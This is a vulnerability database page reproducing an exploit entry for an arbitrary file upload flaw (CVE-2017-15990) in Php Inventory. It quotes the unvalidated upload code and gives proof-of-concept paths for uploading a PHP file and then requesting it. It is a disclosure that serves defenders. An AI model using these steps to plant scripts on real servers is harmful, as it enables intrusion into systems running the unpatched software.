Lucene search
+L

Php Inventory - Arbitrary File Upload Vulnerability

🗓️ 30 Oct 2017 00:00:00Reported by Ihsan SencanType 
zdt
 zdt
🔗 0day.today👁 48 Views

Php Inventory - Arbitrary File Upload Vulnerability CVE-2017-1599

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
Php Inventory & Invoice Management System File Download
2 Feb 201800:00
–bdu_fstec
cnvd
CNVD
Php Inventory Arbitrary File Upload Vulnerability
1 Nov 201700:00
–cnvd
cve
CVE
CVE-2017-15990
31 Oct 201707:00
–cve
cvelist
Cvelist
CVE-2017-15990
31 Oct 201707:00
–cvelist
exploitdb
Exploit DB
Php Inventory - Arbitrary File Upload
30 Oct 201700:00
–exploitdb
euvd
EUVD
EUVD-2017-7406
7 Oct 202500:30
–euvd
exploitpack
exploitpack
Php Inventory - Arbitrary File Upload
30 Oct 201700:00
–exploitpack
nvd
NVD
CVE-2017-15990
31 Oct 201707:29
–nvd
packetstorm
Packet Storm
PHP Inventory Arbitrary File Upload
30 Oct 201700:00
–packetstorm
prion
Prion
Design/Logic Flaw
31 Oct 201707:29
–prion
Rows per page
# # # # # 
# Exploit Title: Php Inventory & Invoice Management System - Arbitrary File Upload
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://savsofteproducts.com/
# Software Link: http://www.phpinventory.com/
# Demo: http://phpinventory.com/phpinventory_demo/ 
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15990
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# 
# The vulnerability allows an users upload arbitrary file....
# 
# Vulnerable Source:
#
# .............1
# if($_FILES['userfile']['name']!=''){  
#   $target = 'images/user_pics/';
#   $targets = $target . basename( $_FILES['userfile']['name']);
#   $docadd=($_FILES['userfile']['name']);
#   if(move_uploaded_file($_FILES['userfile']['tmp_name'], $targets))
#       {
#           $pfilename=$_FILES['userfile']['name'];
#           $filename=time().$pfilename;
#           $new_path=$target.$filename;
#           rename($targets,$new_path);
#       }
#
#}else{
#$filename=$_POST['user_picname'];
#}
# .............2,3,4
# $target = 'images/logo/';
# $target = 'images/product_images/';
# $target = 'images/service_providers/';
# Etc..
# .............
#
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php/dashboard/edit_myaccountdetail/
# 
# http://localhost/[PATH]/images/user_pics/[...].php
# 
# Etc..
# # # # #

#  0day.today [2018-02-16]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Oct 2017 00:00Current
9.2Critical risk
Vulners AI Score9.2
EPSS0.07677
48